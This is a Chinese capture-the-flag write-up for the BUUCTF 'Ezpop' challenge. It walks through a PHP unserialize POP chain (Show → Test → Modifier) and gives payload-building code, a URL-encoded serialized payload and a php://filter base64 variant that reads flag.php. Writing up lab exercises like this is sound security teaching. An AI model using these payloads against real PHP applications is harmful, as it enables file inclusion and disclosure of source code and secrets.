当前位置: 首页 > news >正文

BUUCTF——Ezpop

BUUCTF——Ezpop

进入靶场

在这里插入图片描述

给了php代码

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

这段代码展示了一个典型的PHP反序列化漏洞利用场景,通过精心构造的序列化数据可以实现文件包含和任意代码执行。

代码结构分析

代码包含三个类:

  1. Modifier类
    • 包含一个受保护的属性$var
    • append()方法,可以包含任意文件
    • 当对象被当作函数调用时(__invoke),会执行append($this->var)
  2. Show类
    • 包含$source$str属性
    • __toString()魔术方法,当对象被当作字符串时会返回$this->str->source
    • __wakeup()魔术方法,在反序列化时执行,对$source进行过滤
  3. Test类
    • 包含$p属性
    • __get()魔术方法,当访问不存在的属性时,会将$p作为函数调用

构造payload

<?php
class Modifier {protected $var = "flag.php";
}class Show {public $source;public $str;
}class Test {public $p;
}$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;$show1 = new Show();
$show1->str = $test;$show2 = new Show();
$show2->source = $show1;echo urlencode(serialize($show2));
?>

在这里插入图片描述

将生成的序列化代码在url中传给?pop

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

没拿到

在这里插入图片描述

再用伪协议base64输出一下看看

构造payload

<?php
class Modifier {protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}class Show {public $source;public $str;
}class Test {public $p;
}$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;$show1 = new Show();
$show1->str = $test;$show2 = new Show();
$show2->source = $show1;echo urlencode(serialize($show2));
?>

拿到base64编码

在这里插入图片描述

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2M0ZmViNWFmLTZiOTgtNGQ1Ni04MWFmLWNhZTJjNDVhZGNjM30iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

解码看看

<?php
class Flag{private $flag= "flag{c4feb5af-6b98-4d56-81af-cae2c45adcc3}";
}
echo "Help Me Find FLAG!";
?>

在这里插入图片描述

拿到flag

flag{c4feb5af-6b98-4d56-81af-cae2c45adcc3}

下播!!!!!

在这里插入图片描述

http://www.xdnf.cn/news/391447.html

相关文章:

  • [Java实战]Spring Boot 静态资源配置(十三)
  • Appium-OppoA92S-真机记坑
  • ARP协议的工作原理
  • Linux `uname` 指令终极指南
  • 无需大规模重训练!GraspCorrect:VLM赋能机器人抓取校正,抓取成功率提升18.3%
  • 如何使用 Netstat 查看监听端口
  • 环形链表(简单)
  • 谈程序的地址空间
  • 智能座舱开发工程师面试题
  • 代码随想录算法训练营第六十天| 图论7—卡码网53. 寻宝
  • 《AI大模型应知应会100篇》第55篇:大模型本地开发环境搭建
  • 机器人运动控制原理浅析-UC Berkeley超视觉模态模型
  • LangGraph框架中针对MCP协议的变更-20250510
  • android-ndk开发(12): 获取ndk内置clang的版本详情
  • git 报错:错误:RPC 失败。curl 28 Failed to connect to github.com port 443 after 75000
  • YashanDB(崖山数据库)V23.4 LTS 正式发布
  • 用户态到内核态:Linux信号传递的九重门(一)
  • Kubernetes基础(三十二):Worker节点启动全解析
  • 无人机飞控算法开发实战:从零到一构建企业级飞控系统
  • [Linux]从零开始的STM32MP157 Busybox根文件系统构建
  • 解锁健康密码,拥抱品质生活
  • 基于单片机的电子法频率计
  • 【漫话机器学习系列】253.超平面(Hyperplane)
  • ES C++客户端安装及使用
  • Qt 界面优化(绘图)
  • 【Tools】VScode使用CMake构建项目
  • 【C语言输入输出函数应用】
  • JVM——Java字节码基础
  • ElasticSearch入门详解
  • 【计算机网络】网络IP层